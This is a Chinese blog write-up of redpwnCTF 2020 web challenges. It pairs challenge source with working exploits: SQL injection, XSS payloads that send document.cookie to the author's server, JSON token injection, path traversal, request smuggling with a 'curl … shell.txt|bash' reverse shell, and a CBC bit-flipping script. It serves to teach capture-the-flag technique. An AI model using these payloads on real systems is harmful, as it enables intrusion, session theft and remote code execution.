Author:颖奇L’Amore

Blog:www.gem-love.com

题目是比较不错的,只是和第五空间时间+安恒月赛重合了,做了几个题玩玩儿~~


web/inspector-general

My friend made a new webpage, can you find a flag?

签到题,直接html源代码找到flag:flag{1nspector_g3n3ral_at_w0rk}


web/login

I made a cool login page. I bet you can’t get in!

Site: login.2020.redpwnc.tf

global.__rootdir = __dirname;

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const db = require('better-sqlite3')('db.sqlite3');

require('dotenv').config();

const app = express();

app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());

app.post('/api/flag', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    if (typeof username !== 'string') {
        res.status(400);
        res.end();
        return;
    }
    if (typeof password !== 'string') {
        res.status(400);
        res.end();
        return;
    }

    let result;
    try {
        result = db.prepare(`SELECT * FROM users 
            WHERE username = '${username}'
            AND password = '${password}';`).get();
    } catch (error) {
        res.json({ success: false, error: "There was a problem." });
        res.end();
        return;
    }
    
    if (result) {
        res.json({ success: true, flag: process.env.FLAG });
        res.end();
        return;
    }

    res.json({ success: false, error: "Incorrect username or password." });
});

app.use(express.static(path.join(__dirname, '/public')));

app.listen(process.env.PORT || 3000);

// init database
db.prepare(`CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    password TEXT);`).run();

db.prepare(`INSERT INTO 
    users (username, password)
    VALUES ('${process.env.USERNAME}', '${process.env.PASSWORD}');`).run();

sql无任何过滤,账号密码都填:y1ng’ or ‘1’=’1即可得到flag:flag{0bl1g4t0ry_5ql1}


web/static-pastebin

I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here

Site: static-pastebin.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

是个文本框,然后能输入东西后显示出来,是个xss,在显示的页面有过滤

(async () => {
    await new Promise((resolve) => {
        window.addEventListener('load', resolve);
    });

    const content = window.location.hash.substring(1);
    display(atob(content));
})();

function display(input) {
    document.getElementById('paste').innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = '';
    for (let i = 0; i < input.length; i++) {
        const current = input.charAt(i);
        if (current == '<') {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == '>') {
            brackets --;
        }
    }
    return result
}

可见必须保证brackets为0才行,所以只需要构造个成对出现的<>就可以了

<img src=y1ng onerror=window.open('http://y1ng.vip:12358/q='+btoa(document.cookie));>

然后提交给bot

打到bot的cookie:flag=flag{54n1t1z4t10n_k1nd4_h4rd}


web/static-static-hosting

Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here

Site: static-static-hosting.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

这题是上一个xss的升级版,刚刚是让输入文本然后这题改成了输入HTML,看js文件也能得知过滤规则:

function sanitize(element) {
    const attributes = element.getAttributeNames();
    for (let i = 0; i < attributes.length; i++) {
        // Let people add images and styles
        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
            element.removeAttribute(attributes[i]);
        }
    }

    const children = element.children;
    for (let i = 0; i < children.length; i++) {
        if (children[i].nodeName === 'SCRIPT') {
            element.removeChild(children[i]);
            i --;
        } else {
            sanitize(children[i]);
        }
    }
}

不过因为我是先做的这个题,上一个题已经队友solve了,我直接忽略了那个output页面还有个js文件,并不知道过滤规则,也无所谓,多fuzz一会儿就行了

编码绕一下javascript关键字 然后用iframe就行了

payload:

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:window.open('http://y1ng.vip:12358/q='+btoa(document.cookie)>);">

然后和上一题一样,把url提交给bot,打回flag:flag{wh0_n33d5_d0mpur1fy}


web/panda-facts

I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!

Site: panda-facts.2020.redpwnc.tf

global.__rootdir = __dirname;

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const crypto = require('crypto');

require('dotenv').config();

const INTEGRITY = '12370cc0f387730fb3f273e4d46a94e5';

const app = express();

app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());

app.post('/api/login', async (req, res) => {
    if (!req.body.username || typeof req.body.username !== 'string') {
        res.status(400);
        res.end();
        return;
    }
    res.json({'token': await generateToken(req.body.username)});
    res.end;
});

app.get('/api/validate', async (req, res) => {
    if (!req.cookies.token || typeof req.cookies.token !== 'string') {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    const result = await decodeToken(req.cookies.token);
    if (!result) {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    res.json({success: true, token: result});
});

app.get('/api/flag', async (req, res) => {
    if (!req.cookies.token || typeof req.cookies.token !== 'string') {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    const result = await decodeToken(req.cookies.token);
    if (!result) {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    if (!result.member) {
        res.json({success: false, error: 'You are not a member'});
        res.end();
        return;
    }

    res.json({success: true, flag: process.env.FLAG});
});

app.use(express.static(path.join(__dirname, '/public')));

app.listen(process.env.PORT || 3000);

async function generateToken(username) {
    const algorithm = 'aes-192-cbc'; 
    const key = Buffer.from(process.env.KEY, 'hex'); 
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);

    const cipher = crypto.createCipheriv(algorithm, key, iv);

    const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`

    let encrypted = '';
    encrypted += cipher.update(token, 'utf8', 'base64');
    encrypted += cipher.final('base64');
    return encrypted;
}

async function decodeToken(encrypted) {
    const algorithm = 'aes-192-cbc'; 
    const key = Buffer.from(process.env.KEY, 'hex'); 
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);
    const decipher = crypto.createDecipheriv(algorithm, key, iv);

    let decrypted = '';

    try {
        decrypted += decipher.update(encrypted, 'base64', 'utf8');
        decrypted += decipher.final('utf8');
    } catch (error) {
        return false;
    }

    let res;
    try {
        res = JSON.parse(decrypted);
    } catch (error) {
        console.log(error);
        return false;
    }

    if (res.integrity !== INTEGRITY) {
        return false;
    }

    return res;
}

因为const key = Buffer.from(process.env.KEY, 'hex');所以没法伪造,或许有办法但是我对密码不熟悉。但是这个让我想起了之前做过的一个题:

🇮🇱HexionCTF 2020 Writeup

HexionCTF JACC这个题目中,通过伪造相同xml格式,造成了xml元素注入(不是xxe),这对于json同样适用。这种方法的题目比较少见,所以目前我也不确定这个题是否为非预期解法,但是这种方法确实很多时候可以造成非常严重的非预期。

去看下JACC之后就知道这个题怎么做了,payload:

","member":1,"username":"y1ng

得到flag:flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}


web/tux-fanpage

My friend made a fanpage for Tux; can you steal the source code for me?

Site: tux-fanpage.2020.redpwnc.tf

又是一个给源码的nodejs:

const express = require('express')
const path = require('path')
const app = express()

//Don't forget to redact from published source
const flag = '[REDACTED]'

app.get('/', (req, res) => {
    res.redirect('/page?path=index.html')
})

app.get('/page', (req, res) => {

    let path = req.query.path

    //Handle queryless request
    if(!path || !strip(path)){
        res.redirect('/page?path=index.html')
        return
    }

    path = strip(path)

    path = preventTraversal(path)

    res.sendFile(prepare(path), (err) => {
        if(err){
            if (! res.headersSent) {
                try {
                    res.send(strip(req.query.path) + ' not found')
                } catch {
                    res.end()
                }
            }
        }
    })
})

//Prevent directory traversal attack
function preventTraversal(dir){
    if(dir.includes('../')){
        let res = dir.replace('../', '')
        return preventTraversal(res)
    }

    //In case people want to test locally on windows
    if(dir.includes('..\\')){
        let res = dir.replace('..\\', '')
        return preventTraversal(res)
    }
    return dir
}

//Get absolute path from relative path
function prepare(dir){
    return path.resolve('./public/' + dir)
}

//Strip leading characters
function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
    if(!regex.test(dir[0])){
        if(dir.length > 0){
            return strip(dir.slice(1))
        }
        return ''
    }

    return dir
}

app.listen(3000, () => {
    console.log('listening on 0.0.0.0:3000')
})

Nodejs的sendfile(),要求文件名必须以字母or数字开头,并且不能出现../ ..\,如果满足这个条件就sendfile(),题目很直白,就是让我们bypass然后目录穿越读文件

数组绕过,他这个要绕两层,首先是strip()

function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
    if(!regex.test(dir[0])){
        if(dir.length > 0){
            return strip(dir.slice(1))
        }
        return ''
    }

    return dir
}

只要第一个元素是一个字母,就能绕过去了

这是因为dir[0]是数组第一个元素,是字符串’a’,正则匹配返回true,其他则返回false

第二层要绕过一个递归函数preventTraversal(dir),里面有个includes()方法:

if(dir.includes('../')){
        let res = dir.replace('../', '')
        return preventTraversal(res)
    }

includes()是string和数组都有的方法,字符串的时候可以理解为搜索或者匹配,但是数组的includes()是查找有没有这个元素,比如数组['aaaab'].includes('aaaa')是false的,因为并没有aaaa这个元素,但是如果是'aaaab'.includes('aaaa')就返回true了

反正总而言之,preventTraversal()原封不动返回了给它的数组:

之后就是path.resolve()了 先看下官方文档https://nodejs.org/api/path.html#path_path_resolve_paths

然后因为它有一个字符串拼接操作,path.resolve('./public/' + dir) 加之js“万物杂交皆是字符串”,字符串+数组也返回一个字符串

把这个结果交给path.resolve()就顺理成章的目录穿越了

至于path是一个query参数,怎么得到一个数组,也是老生常谈,只要path[]=x&path[]=y就能得到['x','y'],想要几个参数就加几次path[]=就行了,最终:

https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=/../../index.js

const flag = 'flag{tr4v3rsal_Tim3}'

另外,之前做过一个类似的nodejs,也是题目处理字符串,然后利用数组绕过以及字符串+数组=字符串的这种feature

一道Node.js类型混淆污染与字符逃逸实现SQL注入的题目分析


web/post-it-notes

Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.

Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.

是个SSRF+走私,题目给了web server和api server的源码,api在内网无法访问,我们只能访问webserver。

在api上很容易发现命令注入:

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }

webserver的代码比较复杂:

#!/usr/bin/env python3
# Author: redpwn CTF team
# Notes: ngl this challenge is kinda trolly, but don't mind all the comments. 
#   The basis for the chal is kinda interesting, but the vulnerability is 
#   diluted by madness.

import requests
import socket
import re, re, re, re, re as REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
import json as jason
import traceback
from flask import redirect

# BEGIN brian shrine
# why is CF12 so op...
BRIAN = 1337; BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN and BRIAN > False
# brian orz
# END brian shrine

# XXX: how many quotes are required here? we should save bytes and use fewer if possible
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
NOTE TO FUTURE DEVELOPERS:

sorry i suck at writing python so much...

and sorry this is written in python...
if nobody can read my code, i cant be fired!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
and users dont know the difference since the app works normally... haha

dont worry node is the future haha im just
making sure i have job security
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

# XXX: why doesn't this message present to users????? what if they sue us for not telling them............
# :thonk:
print('i use arch btw')

# <3 gink gink

API_HOST=  'http://localhost:{port}'

# :lemonthink:
class Note:
    # XXX: no static typing? :(
    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs

        if note.get('success'):
            note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

        ####print('got note', nid, ' : ', note)
        return note

    def create(title, contents, port = None):
        _host = API_HOST.format(port = port)
        x = {
            'title' : ''.join([(x if x in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ,./<>?;:[]{}!@#$%^&*()~' else '_') for x in list(str(title))]).ljust(10, 'A'), # no ` or ' or " allowed!
            'contents' : contents,
        }
        uRl = _host + '/api/v1/notes'
        result = requests.post(uRl, data = x, headers = {
            'Authorization' : 'his name is john connor',
            'Connection' : 'close'
        }).text

        # <3 dan dan

        json = jason # <3 jason liu
        try:
            a = json.loads(str(result) or '{}')
            if not a.get('success'):
                return {'success':False, 'message':'api server error, plz report this if it is legit not ur fault thx'}
            else:
                return redirect(f'/notes/{a["title"]}')
        except Exception as e:
            print(e)
            return {'success':False, 'message':'something went wrong :('}


    # XXX: shouldnt this be outside of the Note class
    def check_link(link):
        # XXX: we only support http links at the moment :(
        # XXX: what if someone wants to use domain spoofing characters? we don't support that...
        r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
        if not r:
            print('no bad link!!!', link)
            return False
        host, port, path = r.groups()
        
        ip = None
        try:
            # :thonkeng:
            ip = socket.gethostbyname(host)
        except:
            ip = host
            pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

        # validate host
        try:
            # XXX: ipv6 and ipv8 support
            ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
        except Exception as PYTHON_SUCKS:
            print(PYTHON_SUCKS)
            print(host)
            print('bad ip address')
            return False

        # XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
        # :blobpat:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(str(port or 80).lstrip(':'))
            s.connect((ip, port))
            # XXX: this works and i dont know why
            # NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
            wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
            print(wef)
            s.send(wef)
            # XXX: i dont like the above code, it is bad
            # XXX: three months later: what does the above comment mean, i forgot
            print('waiting')
            # give it time to think
            import time as angstromCTF
            angstromCTF.kevin_higgs=angstromCTF.sleep
            angstromCTF.kevin_higgs(1337/300/4)
            # XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
            try:
                # XXX: idk how sockets work...
                s.settimeout(4)
            except:
                pass
            rEspONSe = s.recv(4096)
            if b'200 OK' in rEspONSe:
                s.close()
                return True
            s.close()
            return False
        except Exception as e:
            traceback.print_exc()
            print(e)
            # eh whatever :pepega:
            # NOTE: Thanks to the invaluable security research contributions
            #   from the organizer, ginkoid a critical vulnerability that used
            #   to exist here is now patched. :pepega: used to be spelled
            #   :pepaga: ... :sob:
            return False
        return bool(False)

check_link()里很明显这里可以造成走私:

wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') 

这个get()内的正则也暗示必须Smuggling:

 note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

但是走私之前就遇到了一个大问题,并不知道api服务器的端口号:

from api import server as api_server
from web import server as web_server

import threading, random

if __name__ == '__main__':
    backend_port = random.randint(50000, 51000)

    at = threading.Thread(target = api_server.start, args = (backend_port,))
    wt = threading.Thread(target = web_server.start, args = (backend_port,))

    at.daemon = True
    wt.daemon = True

    at.start()
    wt.start()

    at.join()
    exit() # something is wrong
    wt.join()
    exit() # something is wrong

可以看到api的端口是50000-51000这1000个端口中的一个,首先就需要想个办法找到这个端口号。

webserver的check_link如果200会返回True,并且响应时间也有变化,所以可以利用这个特性来爆破端口:

import time as angstromCTF
angstromCTF.kevin_higgs=angstromCTF.sleep
angstromCTF.kevin_higgs(1337/300/4)
# XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
try:
    # XXX: idk how sockets work...
    s.settimeout(4)
except:
    pass
rEspONSe = s.recv(4096)
if b'200 OK' in rEspONSe:
    s.close()
    return True
s.close()
return False

写个小requests脚本,跑出50596端口

import requests as req
url = "http://2020.redpwnc.tf:31957/check-links"
data = {"links":""}
for i in range(50000,51000):
	api = "http://localhost:{}".format(i)
	data["link"] = api
	r = req.post(url, data=data)
	if r"true" in r.text:
		print("success:"+str(i))
		break

之后就是走私了

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
from urllib.parse import quote as urlen

url = "http://2020.redpwnc.tf:31957/check-links"
#bash中用#把后面的命令过滤掉
smuggling = "http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=" + urlen("';curl http://gem-love.com/shell.txt|bash #") + " HTTP/1.1\r\n\r\n:50596"

data = {"links":smuggling}
req.post(url, data=data)

走私成功,造成命令注入,反弹shell


web/cookie-recipes-v2

I want to buy some of these recipes, but they are awfully expensive. Can you take a look?

Site: cookie-recipes-v2.2020.redpwnc.tf

非预期了

关键代码:

require('dotenv').config();

const routes = {
    staticFiles: async (req, res) => {
        // get file path
        let filePath = path.join('public', url.parse(req.url).pathname);
        if (filePath.endsWith('/')) {
            filePath = path.join(filePath, 'index.html');
        } const type = mime.getType(path.extname(filePath));

        // read file and stuff
        try {
            const content = await fs.promises.readFile(filePath);
            res.writeHead(200, { 'Content-Type': type });
            res.end(content, 'utf-8');
        } catch (error) {
            res.writeHead(['ENOENT', 'EISDIR'].includes(error.code) ? 404 : 500);
            res.end();
        }
    },

    api: async (req, res) => {
        const route = url.parse(req.url).pathname.substr(5);
        if (!api.has(route)) {
            res.writeHead(404);
            res.end();
            return;
        }
        api.get(route)(req, res);
    }
};

首先,使用了dotenv,前两天用docker构建nodejs还使用了dotenv,参考文章:

https://www.cnblogs.com/rongfengliang/p/10783341.html

所以环境变量是存在/app/.env里的,然后题目process.env.FLAG

之后就是这个路由,很明显可以目录穿越然后readfile(),所以只要目录穿越去读/app/.env就好了,问题在于,直接访问/../../../../../app/.env会被浏览器自动解析成/app/.env,没办法目录穿越

然后去Google查了一下怎么不自动把../给处理掉,查到了:

https://github.com/curl/curl/blob/master/docs/cmdline-opts/path-as-is.d

Long: path-as-is
Help: Do not squash .. sequences in URL path
Added: 7.42.0
---
Tell curl to not handle sequences of /../ or /./ in the given URL
path. Normally curl will squash or merge them according to standards but with
this option set you tell it not to do that.

所以只要带上–path-as-is参数来curl一下就行了

curl --path-as-is https://cookie-recipes-v2.2020.redpwnc.tf/../../../../app/.env

赛后去看了下别人的wp,是一个XSS+SSRF,利用XMLHTTPRequest去实现SSRF,思路基本跟DASCTF May x BJDCTF 3rd我出的那个notes题一样,而且这题没啥过滤,直接用就行。


web/panda-fact-v2

Uh oh; it looks like they already migrated to a more secure platform. Can you do your thing again? These horrible people must be stopped!

Site: panda-facts-v2.2020.redpwnc.tf

没做出来,赛后复现的

https://isopach.dev/Redpwn-CTF-2020/#panda-facts-v2

#!/usr/bin/env python

import requests
import json
from pwn import *

def blockify(a):
    return [a[i:i+16] for i in range(0, len(a), 16)]

def validate_req(payload):
    cookie = {'token' : payload}
    r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/validate',cookies=cookie)
    return r.text

def blocks_to_payload(blks):
    import base64
    return base64.b64encode("".join(blks))

def send_blks(blks):
    encoded_payload = blocks_to_payload(blks)
    return validate_req(encoded_payload)

def get_cookie(payload):
    r = requests.post('https://panda-facts-v2.2020.redpwnc.tf/api/login', json = {'username' : payload})
    return json.loads(r.text)['token'].decode('base64')

def get_flag(blks):
    encoded_payload = blocks_to_payload(blks)
    cookie = {'token': encoded_payload}
    r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/flag',cookies=cookie)
    return json.loads(r.text)['flag']


def bind_payload(payload, i):
    return payload % ("%25d" % i)


def xor_payload(block):
    # our current \",\"member_: "}
    # our target  _",_"member": n}
    new_payload = ""
    new_payload += chr(ord(block[0]) ^ ord("\\") ^ ord(" "))
    new_payload += block[1:3]
    new_payload += chr(ord(block[3]) ^ ord("\\") ^ ord(" "))
    new_payload += block[4:11]
    new_payload += chr(ord(block[11]) ^ ord("_") ^ ord('"'))
    new_payload += block[12:14]
    new_payload += chr(ord(block[14]) ^ ord('"') ^ ord('1'))
    new_payload += block[15:]
    return new_payload

payload_len = 25
payload = '%s","member_: '

for i in range(1000):
    c_payload = bind_payload(payload, i)
    cookie = get_cookie(c_payload)
    payload_blocks = blockify(cookie)
    payload_blocks[-3] = xor_payload(payload_blocks[-3])

    data = send_blks(payload_blocks)
    if 'true' in data:
        flag = get_flag(payload_blocks)
        log.success(flag)
        break

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2391.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image